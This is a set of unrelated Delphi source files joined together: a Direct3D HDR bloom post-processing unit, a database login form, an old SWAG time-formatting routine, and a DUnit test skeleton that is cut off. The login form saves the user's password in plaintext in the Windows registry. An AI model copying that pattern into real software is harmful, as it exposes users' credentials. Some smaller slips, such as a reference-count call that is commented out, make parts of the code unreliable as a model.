SAFE_RELEASE(g_pBloomVertical);
SAFE_RELEASE(g_pBrightPassPS);
SAFE_RELEASE(g_pBrightPassConstants);
SAFE_RELEASE(g_pDownSamplePS);
SAFE_RELEASE(g_pDownSampleConstants);
SAFE_RELEASE(g_pHBloomPS);
SAFE_RELEASE(g_pHBloomConstants);
SAFE_RELEASE(g_pVBloomPS);
SAFE_RELEASE(g_pVBloomConstants);
Result:= S_OK;
end;
//--------------------------------------------------------------------------------------
// PerformPostProcessing( )
//
// DESC:
// This is the core function for this module - it takes the raw HDR image
// generated by the 'HDRScene' component and puts it through 4 post
// processing stages - to end up with a bloom effect on the over-exposed
// (HDR) parts of the image.
//
// PARAMS:
// pDevice : The device that will be rendered to
//
// NOTES:
// n/a
//
//--------------------------------------------------------------------------------------
function PerformPostProcessing(const pDevice: IDirect3DDevice9): HRESULT;
var
pHDRSource: IDirect3DTexture9;
pBrightPassSurf: IDirect3DSurface9;
offsets: array[0..3] of TD3DXVector4;
srcDesc: TD3DSurfaceDesc;
sU, sV: Single;
pDownSampleSurf: IDirect3DSurface9;
destDesc: TD3DSurfaceDesc;
dsOffsets: array[0..15] of TD3DXVector4;
idx: Integer;
i, j: Integer;
pHBloomSurf: IDirect3DSurface9;
// Configure the sampling offsets and their weights
HBloomWeights: array[0..8] of Single;
HBloomOffsets: array[0..8] of Single;
VBloomWeights: array[0..8] of Single;
VBloomOffsets: array[0..8] of Single;
x: Single;
pVBloomSurf: IDirect3DSurface9;
begin
Result:= E_FAIL;
// [ 0 ] BRIGHT PASS
//------------------
if FAILED(HDRScene.GetOutputTexture(pHDRSource)) then
begin
// Couldn't get the input - means that none of the subsequent
// work is worth attempting!
OutputDebugString('PostProcess.PerformPostProcessing - Unable to retrieve source HDR information!'#10);
Exit;
end;
if FAILED(PostProcess.g_pBrightPassTex.GetSurfaceLevel(0, pBrightPassSurf)) then
begin
// Can't get the render target. Not good news!
OutputDebugString('PostProcess::PerformPostProcessing() - Couldn''t retrieve top level surface for bright pass render target.'#10);
Exit;
end;
pDevice.SetRenderTarget(0, pBrightPassSurf); // Configure the output of this stage
pDevice.SetTexture(0, pHDRSource); // Configure the input..
pDevice.SetPixelShader(PostProcess.g_pBrightPassPS);
PostProcess.g_pBrightPassConstants.SetFloat(pDevice, 'fBrightPassThreshold', PostProcess.g_BrightThreshold);
// We need to compute the sampling offsets used for this pass.
// A 2x2 sampling pattern is used, so we need to generate 4 offsets
// Find the dimensions for the source data
pHDRSource.GetLevelDesc(0, srcDesc);
// Because the source and destination are NOT the same sizes, we
// need to provide offsets to correctly map between them.
sU := 1.0 / srcDesc.Width;
sV := 1.0 / srcDesc.Height;
// The last two components (z,w) are unused. This makes for simpler code, but if
// constant-storage is limited then it is possible to pack 4 offsets into 2 float4's
offsets[0] := D3DXVector4(-0.5 * sU, 0.5 * sV, 0.0, 0.0);
offsets[1] := D3DXVector4( 0.5 * sU, 0.5 * sV, 0.0, 0.0);
offsets[2] := D3DXVector4(-0.5 * sU, -0.5 * sV, 0.0, 0.0);
offsets[3] := D3DXVector4( 0.5 * sU, -0.5 * sV, 0.0, 0.0);
PostProcess.g_pBrightPassConstants.SetVectorArray(pDevice, 'tcDownSampleOffsets', @offsets, 4);
RenderToTexture(pDevice);
// [ 1 ] DOWN SAMPLE
//------------------
if FAILED(PostProcess.g_pDownSampledTex.GetSurfaceLevel(0, pDownSampleSurf)) then
begin
// Can't get the render target. Not good news!
OutputDebugString('PostProcess::PerformPostProcessing() - Couldn''t retrieve top level surface for down sample render target.'#10);
Exit;
end;
pDevice.SetRenderTarget(0, pDownSampleSurf);
pDevice.SetTexture(0, PostProcess.g_pBrightPassTex);
pDevice.SetPixelShader(PostProcess.g_pDownSamplePS);
// We need to compute the sampling offsets used for this pass.
// A 4x4 sampling pattern is used, so we need to generate 16 offsets
// Find the dimensions for the source data
PostProcess.g_pBrightPassTex.GetLevelDesc(0, srcDesc);
// Find the dimensions for the destination data
pDownSampleSurf.GetDesc(destDesc);
// Compute the offsets required for down-sampling. If constant-storage space
// is important then this code could be packed into 8xFloat4's. The code here
// is intentionally less efficient to aid readability...
idx := 0;
for i := -2 to 1 do
begin
for j := -2 to 1 do
begin
dsOffsets[idx] := D3DXVector4(
(i + 0.5) * (1.0 / destDesc.Width),
(j + 0.5) * (1.0 / destDesc.Height),
0.0, // unused
0.0 // unused
);
Inc(idx);
end;
end;
PostProcess.g_pDownSampleConstants.SetVectorArray(pDevice, 'tcDownSampleOffsets', @dsOffsets, 16);
RenderToTexture(pDevice);
// [ 2 ] BLUR HORIZONTALLY
//------------------------
if FAILED(PostProcess.g_pBloomHorizontal.GetSurfaceLevel(0, pHBloomSurf)) then
begin
// Can't get the render target. Not good news!
OutputDebugString('PostProcess::PerformPostProcessing() - Couldn''t retrieve top level surface for horizontal bloom render target.'#10);
Exit;
end;
pDevice.SetRenderTarget(0, pHBloomSurf);
pDevice.SetTexture(0, PostProcess.g_pDownSampledTex);
pDevice.SetPixelShader(PostProcess.g_pHBloomPS);
// Configure the sampling offsets and their weights
// float HBloomWeights[9];
// float HBloomOffsets[9];
for i := 0 to 8 do
begin
// Compute the offsets. We take 9 samples - 4 either side and one in the middle:
// i = 0, 1, 2, 3, 4, 5, 6, 7, 8
//Offset = -4, -3, -2, -1, 0, +1, +2, +3, +4
HBloomOffsets[i] := (i - 4.0) * (1.0 / destDesc.Width);
// 'x' is just a simple alias to map the [0,8] range down to a [-1,+1]
x := (i - 4.0) / 4.0;
// Use a gaussian distribution. Changing the standard-deviation
// (second parameter) as well as the amplitude (multiplier) gives
// distinctly different results.
HBloomWeights[i] := g_GaussMultiplier * ComputeGaussianValue(x, g_GaussMean, g_GaussStdDev);
end;
// Commit both arrays to the device:
PostProcess.g_pHBloomConstants.SetFloatArray(pDevice, 'HBloomWeights', @HBloomWeights, 9);
PostProcess.g_pHBloomConstants.SetFloatArray(pDevice, 'HBloomOffsets', @HBloomOffsets, 9);
RenderToTexture(pDevice);
// [ 3 ] BLUR VERTICALLY
//----------------------
if FAILED(PostProcess.g_pBloomVertical.GetSurfaceLevel(0, pVBloomSurf)) then
begin
// Can't get the render target. Not good news!
OutputDebugString('PostProcess::PerformPostProcessing() - Couldn''t retrieve top level surface for vertical bloom render target.'#10);
Exit;
end;
pDevice.SetRenderTarget(0, pVBloomSurf);
pDevice.SetTexture(0, PostProcess.g_pBloomHorizontal);
pDevice.SetPixelShader(PostProcess.g_pVBloomPS);
// Configure the sampling offsets and their weights
// It is worth noting that although this code is almost identical to the
// previous section ('H' weights, above) there is an important difference: destDesc.Height.
// The bloom render targets are *not* square, such that you can't re-use the same offsets in
// both directions.
// float VBloomWeights[9];
// float VBloomOffsets[9];
for i := 0 to 8 do
begin
// Compute the offsets. We take 9 samples - 4 either side and one in the middle:
// i = 0, 1, 2, 3, 4, 5, 6, 7, 8
//Offset = -4, -3, -2, -1, 0, +1, +2, +3, +4
VBloomOffsets[i] := (i - 4.0) * (1.0 / destDesc.Height);
// 'x' is just a simple alias to map the [0,8] range down to a [-1,+1]
x := (i - 4.0) / 4.0;
// Use a gaussian distribution. Changing the standard-deviation
// (second parameter) as well as the amplitude (multiplier) gives
// distinctly different results.
VBloomWeights[i] := g_GaussMultiplier * ComputeGaussianValue(x, g_GaussMean, g_GaussStdDev);
end;
// Commit both arrays to the device:
PostProcess.g_pVBloomConstants.SetFloatArray(pDevice, 'VBloomWeights', @VBloomWeights, 9);
PostProcess.g_pVBloomConstants.SetFloatArray(pDevice, 'VBloomOffsets', @VBloomOffsets, 9);
RenderToTexture(pDevice);
// [ 4 ] CLEAN UP
//---------------
SAFE_RELEASE(pHDRSource);
SAFE_RELEASE(pBrightPassSurf);
SAFE_RELEASE(pDownSampleSurf);
SAFE_RELEASE(pHBloomSurf);
SAFE_RELEASE(pVBloomSurf);
Result:= S_OK;
end;
//--------------------------------------------------------------------------------------
// GetTexture( )
//
// DESC:
// The results generated by PerformPostProcessing() are required as an input
// into the final image composition. Because that final stage is located
// in another code module, it must be able to safely access the correct
// texture stored internally within this module.
//
// PARAMS:
// pTexture : Should be NULL on entry, will be a valid reference on exit
//
// NOTES:
// The code that requests the reference is responsible for releasing their
// copy of the texture as soon as they are finished using it.
//
//--------------------------------------------------------------------------------------
function GetTexture(out pTexture: IDirect3DTexture9): HRESULT;
begin
// [ 0 ] ERASE ANY DATA IN THE INPUT
//----------------------------------
//SAFE_RELEASE( *pTexture );
// [ 1 ] COPY THE PRIVATE REFERENCE
//---------------------------------
pTexture := PostProcess.g_pBloomVertical;
// [ 2 ] INCREMENT THE REFERENCE COUNT..
//--------------------------------------
//(*pTexture).AddRef();
Result:= S_OK;
end;
//--------------------------------------------------------------------------------------
// GetBrightPassThreshold( )
//
// DESC:
// Returns the current bright pass threshold, as used by the PostProcessing.psh
// pixel shader.
//
//--------------------------------------------------------------------------------------
function GetBrightPassThreshold: Single;
begin
Result:= PostProcess.g_BrightThreshold;
end;
//--------------------------------------------------------------------------------------
// SetBrightPassThreshold( )
//
// DESC:
// Allows another module to configure the threshold at which a pixel is
// considered to be "bright" and thus get fed into the post-processing
// part of the pipeline.
//
// PARAMS:
// threshold : The new value to be used
//
//--------------------------------------------------------------------------------------
procedure SetBrightPassThreshold(const threshold: Single);
begin
PostProcess.g_BrightThreshold := threshold;
end;
//--------------------------------------------------------------------------------------
// GetGaussianMultiplier( )
//
// DESC:
// Returns the multiplier used to scale the gaussian distribution.
//
//--------------------------------------------------------------------------------------
function GetGaussianMultiplier: Single;
begin
Result:= PostProcess.g_GaussMultiplier;
end;
//--------------------------------------------------------------------------------------
// SetGaussianMultiplier( )
//
// DESC:
// Allows another module to configure the general multiplier. Not strictly
// part of the gaussian distribution, but a useful factor to help control the
// intensity of the bloom.
//
// PARAMS:
// multiplier : The new value to be used
//
//--------------------------------------------------------------------------------------
procedure SetGaussianMultiplier(const multiplier: Single);
begin
PostProcess.g_GaussMultiplier := multiplier;
end;
//--------------------------------------------------------------------------------------
// GetGaussianMean( )
//
// DESC:
// Returns the mean used to compute the gaussian distribution for the bloom
//
//--------------------------------------------------------------------------------------
function GetGaussianMean: Single;
begin
Result:= PostProcess.g_GaussMean;
end;
//--------------------------------------------------------------------------------------
// SetGaussianMean( )
//
// DESC:
// Allows another module to specify where the peak will be in the gaussian
// distribution. Values should be between -1 and +1; a value of 0 will be
// best.
//
// PARAMS:
// mean : The new value to be used
//
//--------------------------------------------------------------------------------------
procedure SetGaussianMean(const mean: Single);
begin
PostProcess.g_GaussMean := mean;
end;
//--------------------------------------------------------------------------------------
// GetGaussianStandardDeviation( )
//
// DESC:
// Returns the standard deviation used to construct the gaussian distribution
// used by the horizontal/vertical bloom processing.
//
//--------------------------------------------------------------------------------------
function GetGaussianStandardDeviation: Single;
begin
Result:= PostProcess.g_GaussStdDev;
end;
//--------------------------------------------------------------------------------------
// SetGaussianStandardDeviation( )
//
// DESC:
// Allows another module to configure the standard deviation
// used to generate a gaussian distribution. Should be between
// 0.0 and 1.0 for valid results.
//
// PARAMS:
// sd : The new value to be used
//
//--------------------------------------------------------------------------------------
procedure SetGaussianStandardDeviation(const sd: Single);
begin
PostProcess.g_GaussStdDev := sd;
end;
//--------------------------------------------------------------------------------------
//--------------------------------------------------------------------------------------
// DisplaySteps( )
//
// DESC:
// Part of the GUI in this application displays the four stages that make up
// the post-processing stage of the HDR rendering pipeline. This function
// is responsible for making sure that each stage is drawn as expected.
//
// PARAMS:
// pDevice : The device to be drawn to.
// pFont : The font used to annotate the display
// pTextSprite : Used to improve the performance of text rendering
// pArrowTex : Stores the 4 (up/down/left/right) icons used in the GUI
//
// NOTES:
// n/a
//
//--------------------------------------------------------------------------------------
function DisplaySteps(const pDevice: IDirect3DDevice9; const pFont: ID3DXFont;
const pTextSprite: ID3DXSprite; const pArrowTex: IDirect3DTexture9 ): HRESULT;
var
pSurf: IDirect3DSurface9;
d: TD3DSurfaceDesc;
fW, fH: Single;
fCellW, fCellH: Single;
v: array[0..3] of PostProcess.TLVertex;
txtHelper: CDXUTTextHelper;
str: array[0..99] of WideChar;
begin
// [ 0 ] COMMON INITIALIZATION
//----------------------------
if FAILED(pDevice.GetRenderTarget(0, pSurf)) then
begin
// Couldn't get the current render target!
OutputDebugString('PostProcess::DisplaySteps() - Could not get current render target to extract dimensions.'#10);
Result:= E_FAIL;
Exit;
end;
pSurf.GetDesc(d);
pSurf := nil;
// Cache the dimensions as floats for later use
fW := d.Width;
fH := d.Height;
fCellW := (fW - 48.0) / 4.0;
fCellH := (fH - 36.0) / 4.0;
// Fill out the basic TLQuad information - this
// stuff doesn't change for each stage
v[0].t := D3DXVector2(0.0, 0.0);
v[1].t := D3DXVector2(1.0, 0.0);
v[2].t := D3DXVector2(0.0, 1.0);
v[3].t := D3DXVector2(1.0, 1.0);
// Configure the device for it's basic states
pDevice.SetVertexShader(nil);
pDevice.SetFVF(FVF_TLVERTEX);
pDevice.SetPixelShader(nil);
txtHelper := CDXUTTextHelper.Create(pFont, pTextSprite, 12);
txtHelper.SetForegroundColor(D3DXColor(1.0, 0.5, 0.0, 1.0));
// [ 1 ] RENDER BRIGHT PASS STAGE
//-------------------------------
v[0].p := D3DXVector4(0.0, 0.0, 0.0, 1.0);
v[1].p := D3DXVector4(fCellW, 0.0, 0.0, 1.0);
v[2].p := D3DXVector4(0.0, fCellH, 0.0, 1.0);
v[3].p := D3DXVector4(fCellW, fCellH, 0.0, 1.0);
pDevice.SetTexture(0, PostProcess.g_pBrightPassTex);
pDevice.DrawPrimitiveUP(D3DPT_TRIANGLESTRIP, 2, v, SizeOf(PostProcess.TLVertex));
txtHelper._Begin;
begin
txtHelper.SetInsertionPos(5, Trunc(fCellH - 25.0));
txtHelper.DrawTextLine('Bright-Pass');
PostProcess.g_pBrightPassTex.GetLevelDesc(0, d);
StringCchFormat(str, 100, '%dx%d', [d.Width, d.Height]);
txtHelper.DrawTextLine(str);
end;
txtHelper._End;
// [ 2 ] RENDER DOWNSAMPLED STAGE
//-------------------------------
v[0].p := D3DXVector4(fCellW + 16.0, 0.0, 0.0, 1.0);
v[1].p := D3DXVector4((2.0 * fCellW) + 16.0, 0.0, 0.0, 1.0);
v[2].p := D3DXVector4(fCellW + 16.0, fCellH, 0.0, 1.0);
v[3].p := D3DXVector4((2.0 * fCellW) + 16.0, fCellH, 0.0, 1.0);
pDevice.SetTexture(0, PostProcess.g_pDownSampledTex);
pDevice.DrawPrimitiveUP(D3DPT_TRIANGLESTRIP, 2, v, SizeOf(PostProcess.TLVertex));
txtHelper._Begin;
begin
txtHelper.SetInsertionPos(Trunc(fCellW + 16.0) + 5, Trunc(fCellH - 25.0));
txtHelper.DrawTextLine('Down-Sampled');
PostProcess.g_pDownSampledTex.GetLevelDesc(0, d);
StringCchFormat(str, 100, '%dx%d', [d.Width, d.Height]);
txtHelper.DrawTextLine(str);
end;
txtHelper._End;
// [ 3 ] RENDER HORIZONTAL BLUR STAGE
//-----------------------------------
v[0].p := D3DXVector4((2.0 * fCellW) + 32.0, 0.0, 0.0, 1.0);
v[1].p := D3DXVector4((3.0 * fCellW) + 32.0, 0.0, 0.0, 1.0);
v[2].p := D3DXVector4((2.0 * fCellW) + 32.0, fCellH, 0.0, 1.0);
v[3].p := D3DXVector4((3.0 * fCellW) + 32.0, fCellH, 0.0, 1.0);
pDevice.SetTexture(0, PostProcess.g_pBloomHorizontal);
pDevice.DrawPrimitiveUP(D3DPT_TRIANGLESTRIP, 2, v, SizeOf(PostProcess.TLVertex));
txtHelper._Begin;
begin
txtHelper.SetInsertionPos(Trunc(2.0 * fCellW + 32.0) + 5, Trunc(fCellH - 25.0));
txtHelper.DrawTextLine('Horizontal Blur');
PostProcess.g_pBloomHorizontal.GetLevelDesc(0, d);
StringCchFormat(str, 100, '%dx%d', [d.Width, d.Height]);
txtHelper.DrawTextLine(str);
end;
txtHelper._End;
// [ 4 ] RENDER VERTICAL BLUR STAGE
//---------------------------------
v[0].p := D3DXVector4((3.0 * fCellW) + 48.0, 0.0, 0.0, 1.0);
v[1].p := D3DXVector4((4.0 * fCellW) + 48.0, 0.0, 0.0, 1.0);
v[2].p := D3DXVector4((3.0 * fCellW) + 48.0, fCellH, 0.0, 1.0);
v[3].p := D3DXVector4((4.0 * fCellW) + 48.0, fCellH, 0.0, 1.0);
pDevice.SetTexture(0, PostProcess.g_pBloomVertical);
pDevice.DrawPrimitiveUP(D3DPT_TRIANGLESTRIP, 2, v, SizeOf( PostProcess.TLVertex ));
txtHelper._Begin;
begin
txtHelper.SetInsertionPos(Trunc(3.0 * fCellW + 48.0) + 5, Trunc(fCellH - 25.0));
txtHelper.DrawTextLine('Vertical Blur');
PostProcess.g_pDownSampledTex.GetLevelDesc(0, d);
StringCchFormat(str, 100, '%dx%d', [d.Width, d.Height]);
txtHelper.DrawTextLine(str);
end;
txtHelper._End;
txtHelper.Free;
// [ 5 ] RENDER ARROWS
//--------------------
pDevice.SetTexture(0, pArrowTex);
// Locate the "Left" Arrow:
v[0].t := D3DXVector2(0.25, 0.0);
v[1].t := D3DXVector2(0.50, 0.0);
v[2].t := D3DXVector2(0.25, 1.0);
v[3].t := D3DXVector2(0.50, 1.0);
// Bright-Pass -> Down Sampled:
v[0].p := D3DXVector4(fCellW, (fCellH / 2.0) - 8.0, 0.0, 1.0);
v[1].p := D3DXVector4(fCellW + 16.0, (fCellH / 2.0) - 8.0, 0.0, 1.0);
v[2].p := D3DXVector4(fCellW, (fCellH / 2.0) + 8.0, 0.0, 1.0);
v[3].p := D3DXVector4(fCellW + 16.0, (fCellH / 2.0) + 8.0, 0.0, 1.0);
pDevice.DrawPrimitiveUP(D3DPT_TRIANGLESTRIP, 2, v, SizeOf(PostProcess.TLVertex));
// Down Sampled -> Horizontal Blur:
v[0].p := D3DXVector4((2.0 * fCellW) + 16.0, (fCellH / 2.0) - 8.0, 0.0, 1.0);
v[1].p := D3DXVector4((2.0 * fCellW) + 32.0, (fCellH / 2.0) - 8.0, 0.0, 1.0);
v[2].p := D3DXVector4((2.0 * fCellW) + 16.0, (fCellH / 2.0) + 8.0, 0.0, 1.0);
v[3].p := D3DXVector4((2.0 * fCellW) + 32.0, (fCellH / 2.0) + 8.0, 0.0, 1.0);
pDevice.DrawPrimitiveUP(D3DPT_TRIANGLESTRIP, 2, v, SizeOf(PostProcess.TLVertex));
// Horizontal Blur -> Vertical Blur:
v[0].p := D3DXVector4((3.0 * fCellW) + 32.0, (fCellH / 2.0) - 8.0, 0.0, 1.0);
v[1].p := D3DXVector4((3.0 * fCellW) + 48.0, (fCellH / 2.0) - 8.0, 0.0, 1.0);
v[2].p := D3DXVector4((3.0 * fCellW) + 32.0, (fCellH / 2.0) + 8.0, 0.0, 1.0);
v[3].p := D3DXVector4((3.0 * fCellW) + 48.0, (fCellH / 2.0) + 8.0, 0.0, 1.0);
pDevice.DrawPrimitiveUP(D3DPT_TRIANGLESTRIP, 2, v, SizeOf(PostProcess.TLVertex));
// Locate the "Down" arrow:
v[0].t := D3DXVector2(0.50, 0.0);
v[1].t := D3DXVector2(0.75, 0.0);
v[2].t := D3DXVector2(0.50, 1.0);
v[3].t := D3DXVector2(0.75, 1.0);
// Vertical Blur -> Final Image Composition:
v[0].p := D3DXVector4((3.5 * fCellW) + 40.0, fCellH, 0.0, 1.0);
v[1].p := D3DXVector4((3.5 * fCellW) + 56.0, fCellH, 0.0, 1.0);
v[2].p := D3DXVector4((3.5 * fCellW) + 40.0, fCellH + 16.0, 0.0, 1.0);
v[3].p := D3DXVector4((3.5 * fCellW) + 56.0, fCellH + 16.0, 0.0, 1.0);
pDevice.DrawPrimitiveUP(D3DPT_TRIANGLESTRIP, 2, v, SizeOf(PostProcess.TLVertex));
Result:= S_OK;
end;
//--------------------------------------------------------------------------------------
// CalculateResourceUsage( )
//
// DESC:
// Based on the known resources this function attempts to make an accurate
// measurement of how much VRAM is being used by this part of the application.
//
// NOTES:
// Whilst the return value should be pretty accurate, it shouldn't be relied
// on due to the way drivers/hardware can allocate memory.
//
// Only the first level of the render target is checked as there should, by
// definition, be no mip levels.
//
//--------------------------------------------------------------------------------------
function CalculateResourceUsage: DWORD;
var
usage: DWORD;
d: TD3DSurfaceDesc;
begin
usage := 0;
if SUCCEEDED(g_pBrightPassTex.GetLevelDesc(0, d)) then
usage := usage + ( ( d.Width * d.Height ) * DWORD(IfThen(PostProcess.g_fmtHDR = D3DFMT_A32B32G32R32F, 16, 8)));
if SUCCEEDED(g_pDownSampledTex.GetLevelDesc(0, d)) then
usage := usage + ( ( d.Width * d.Height ) * DWORD(IfThen(PostProcess.g_fmtHDR = D3DFMT_A32B32G32R32F, 16, 8)));
if SUCCEEDED(g_pBloomHorizontal.GetLevelDesc(0, d)) then
usage := usage + ( ( d.Width * d.Height ) * DWORD(IfThen(PostProcess.g_fmtHDR = D3DFMT_A32B32G32R32F, 16, 8)));
if SUCCEEDED(g_pBloomVertical.GetLevelDesc(0, d)) then
usage := usage + ( ( d.Width * d.Height ) * DWORD(IfThen(PostProcess.g_fmtHDR = D3DFMT_A32B32G32R32F, 16, 8)));
Result:= usage;
end;
//--------------------------------------------------------------------------------------
// RenderToTexture( )
//
// DESC:
// A simple utility function that draws, as a TL Quad, one texture to another
// such that a pixel shader (configured before this function is called) can
// operate on the texture. Used by MeasureLuminance() to perform the
// downsampling and filtering.
//
// PARAMS:
// pDevice : The currently active device
//
// NOTES:
// n/a
//
//--------------------------------------------------------------------------------------
function RenderToTexture(const pDev: IDirect3DDevice9): HRESULT;
var
desc: TD3DSurfaceDesc;
pSurfRT: IDirect3DSurface9;
fWidth, fHeight: Single;
v: array[0..3] of PostProcess.TLVertex;
begin
pDev.GetRenderTarget(0, pSurfRT);
pSurfRT.GetDesc(desc);
pSurfRT := nil;
// To correctly map from texels->pixels we offset the coordinates
// by -0.5f:
fWidth := desc.Width - 0.5;
fHeight := desc.Height - 0.5;
// Now we can actually assemble the screen-space geometry
// PostProcess::TLVertex v[4];
v[0].p := D3DXVector4(-0.5, -0.5, 0.0, 1.0);
v[0].t := D3DXVector2(0.0, 0.0);
v[1].p := D3DXVector4(fWidth, -0.5, 0.0, 1.0);
v[1].t := D3DXVector2(1.0, 0.0);
v[2].p := D3DXVector4(-0.5, fHeight, 0.0, 1.0);
v[2].t := D3DXVector2(0.0, 1.0);
v[3].p := D3DXVector4(fWidth, fHeight, 0.0, 1.0);
v[3].t := D3DXVector2(1.0, 1.0);
// Configure the device and render..
pDev.SetVertexShader(nil);
pDev.SetFVF(PostProcess.FVF_TLVERTEX);
pDev.DrawPrimitiveUP(D3DPT_TRIANGLESTRIP, 2, v, SizeOf(PostProcess.TLVertex));
Result:= S_OK;
end;
function ComputeGaussianValue(x: Single; mean: Single; std_deviation: Single): Single;
begin
// The gaussian equation is defined as such:
(*
-(x - mean)^2
-------------
1.0 2*std_dev^2
f(x,mean,std_dev) = -------------------- * e^
sqrt(2*pi*std_dev^2)
*)
Result:= ( 1.0 / sqrt(2.0 * D3DX_PI * std_deviation * std_deviation) )
* exp( (-((x-mean)*(x-mean)))/(2.0 * std_deviation * std_deviation));
end;
end.
|
unit Access_Unit;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, cxLookAndFeelPainters, StdCtrls, cxButtons, cxControls,
cxContainer, cxEdit, cxTextEdit, AccMGMT, cxCheckBox, Registry, ibase;
type TAccessResult = record
ID_User:integer;
Name_user:string;
User_Id_Card:integer;
User_Fio:string;
DB_Handle : TISC_DB_HANDLE;
Password: string;
end;
type
TfrmAccess = class(TForm)
LoginEdit: TcxTextEdit;
PasswordEdit: TcxTextEdit;
cxButton1: TcxButton;
cxButton2: TcxButton;
SafePassword_CheckBox: TcxCheckBox;
Label1: TLabel;
Label2: TLabel;
procedure FormShow(Sender: TObject);
procedure cxButton1Click(Sender: TObject);
procedure PasswordEditKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure cxButton2Click(Sender: TObject);
procedure LoginEditKeyPress(Sender: TObject; var Key: Char);
private
countoftry : byte;
public
AccessResult : TAccessResult;
constructor Create(AOwner:TComponent);override;
end;
var
frmAccess: TfrmAccess;
implementation
{$R *.dfm}
constructor TfrmAccess.Create(AOwner:TComponent);
var
reg: TRegistry;
begin
inherited Create(AOwner);
countoftry := 0;
reg:=TRegistry.Create;
try
reg.RootKey:=HKEY_CURRENT_USER;
if reg.OpenKey('\Software\VC\Login\',False) then
begin
LoginEdit.Text:=reg.ReadString('Login');
end;
if reg.OpenKey('\Software\VC\Password\',False) then
begin
PasswordEdit.Text:=reg.ReadString('Password');
if PasswordEdit.Text <> '' then
SafePassword_CheckBox.Checked:=true;
end
finally
reg.Free;
end;
end;
procedure TfrmAccess.FormShow(Sender: TObject);
begin
LoginEdit.SetFocus;
end;
procedure TfrmAccess.cxButton1Click(Sender: TObject);
var ss: TShiftState;
key : Word;
begin
ss:=[ssShift] ;
key :=13;
PasswordEditKeyDown(self, key, ss);
end;
procedure TfrmAccess.PasswordEditKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
var
InitResult: Integer;
reg: TRegistry;
CurrentLogin, CurrentPassword:string;
ResultInfo : TResultInfo;
Label GameOver;
begin
if Key = VK_RETURN then begin
inc(countoftry);
//******************************************************************************
CurrentLogin := LoginEdit.Text;
CurrentPassword := PasswordEdit.Text;
reg := TRegistry.Create;
try
reg.RootKey:=HKEY_CURRENT_USER;
if reg.OpenKey('\Software\VC\Login\',True) then
begin
reg.WriteString('Login',CurrentLogin);
end;
if SafePassword_CheckBox.Checked then
if reg.OpenKey('\Software\VC\Password\',True) then
begin
reg.WriteString('Password',CurrentPassword);
end;
if not SafePassword_CheckBox.Checked then
if reg.OpenKey('\Software\VC\Password\',True) then
begin
reg.DeleteValue('Password');
end
finally
reg.Free;
end;
//******************************************************************************
//InitResult := -1;
try
ResultInfo := fibInitConnection(CurrentLogin,CurrentPassword);
except
on e: Exception do
begin
MessageDlg(e.Message, mtError,[mbOk],0);
if CountOfTry>=3 then Application.Terminate
else Exit;
end;
end;
//******************************************************************************
if ResultInfo.ErrorCode <> ACCMGMT_OK then
begin
ShowMessage(AcMgmtErrMsg(ResultInfo.ErrorCode));
begin
LoginEdit.SetFocus;
try
CloseConnection;
except
on e: Exception do
MessageDlg(e.Message, mtError,[mbOk],0);
end;
end;
LoginEdit.SetFocus;
goto GameOver;
end
//******************************************************************************
else
begin
AccessResult.ID_User:=GetUserId;
AccessResult.User_Id_Card:=GetCurrentUserIDExt;
AccessResult.User_Fio := GetUserFIO;
AccessResult.Name_user:=CurrentLogin;
AccessResult.Password:= CurrentPassword;
AccessResult.DB_Handle := ResultInfo.DBHandle;
if fibCheckPermission('/ROOT/VC','Belong')=0 then
begin
ModalResult:=mrYes;
try
except
on e: Exception do
MessageDlg(e.Message, mtError,[mbOk],0);
end;
GoTo GameOver;
end
else
begin
ShowMessage('Ви не маєте прав на вхід до цієї системи');
try
CloseConnection;
except
on e: Exception do
MessageDlg('Фатальна помилка в системі безпеки : ' + e.Message, mtError,[mbOk],0);
end;
GoTo GameOver;
end;
end;
//******************************************************************************
GameOver:
if (countoftry>=3) and (ModalResult<>mrYes) then Application.Terminate;
end;
end;
procedure TfrmAccess.cxButton2Click(Sender: TObject);
begin
ModalResult:=mrNo;
end;
procedure TfrmAccess.LoginEditKeyPress(Sender: TObject; var Key: Char);
begin
if key = #13 then PasswordEdit.SetFocus;
end;
end.
|
(*
Category: SWAG Title: DATE & TIME ROUTINES
Original name: 0019.PAS
Description: TIMEFORM.PAS
Author: MIKE COPELAND
Date: 05-28-93 13:37
*)
{
MIKE COPELAND
> I'm looking For some FAST routines to change seconds into a
> readable format, (ie. H:M:S).
> For instance, 8071 seconds = 2:14:31
Here's the code I use, and it's fast enough For me:
}
Type
Str8 = String[8];
Function FORMAT_TIME (V : Integer) : STR8; { format time as hh:mm:ss }
Var
X, Z : Integer;
PTIME : STR8;
begin { note: incoming time is in seconds }
Z := ord('0');
PTIME := ' : : '; { initialize }
X := V div 3600;
V := V mod 3600; { process hours }
if (X > 0) and (X <= 9) then
PTIME[2] := chr(X+Z)
else
if X = 0 then
PTIME[3] := ' ' { zero-suppress }
else
PTIME[2] := '*'; { overflow... }
X := V div 60;
V := V mod 60; { process minutes }
PTIME[4] := chr((X div 10)+Z);
PTIME[5] := chr((X mod 10)+Z);
PTIME[7] := chr((V div 10)+Z); { process seconds }
PTIME[8] := chr((V mod 10)+Z);
FORMAT_TIME := PTIME
end; { FORMAT_TIME }
begin
Writeln(Format_Time(11122));
end.
|
unit TestUProprietarioUnidadeController;
{
Delphi DUnit Test Case
----------------------
This unit contains a skeleton test case class generated by the Test Case Wizard.
Modify the generated code to correctly setup and call the methods from the unit
being tested.
}
interface
uses
TestFramework, UCondominioVO, SysUtils, DBClient, DBXJSON, UPessoasVO,
UCondominioController, DBXCommon, UProprietarioUnidadeController,
UPessoasCOntroller, Generics.Collections, Classes, UController, DB,
UProprietarioUnidadeVO, ConexaoBD, SQLExpr;
type
// Test methods for class TProprietarioUnidadeController
TestTProprietarioUnidadeController = class(TTestCase)
strict private
FProprietarioUnidadeController: TProprietarioUnidadeController;
public
procedure SetUp; override;
procedure TearDown; override;
published
procedure TestConsultarPorId;
end;
implementation
procedure TestTProprietarioUnidadeController.SetUp;
begin
FProprietarioUnidadeController := TProprietarioUnidadeController.Create;
end;
procedure TestTProprietarioUnidadeController.TearDown;
begin
FProprietarioUnidadeController.Free;
FProprietarioUnidadeController := nil;
end;
procedure TestTProprietarioUnidadeController.TestConsultarPorId;
var
ReturnValue: TProprietarioUnidadeVO;
// id: Integer;
begin
ReturnValue := FProprietarioUnidadeController.ConsultarPorId(10);
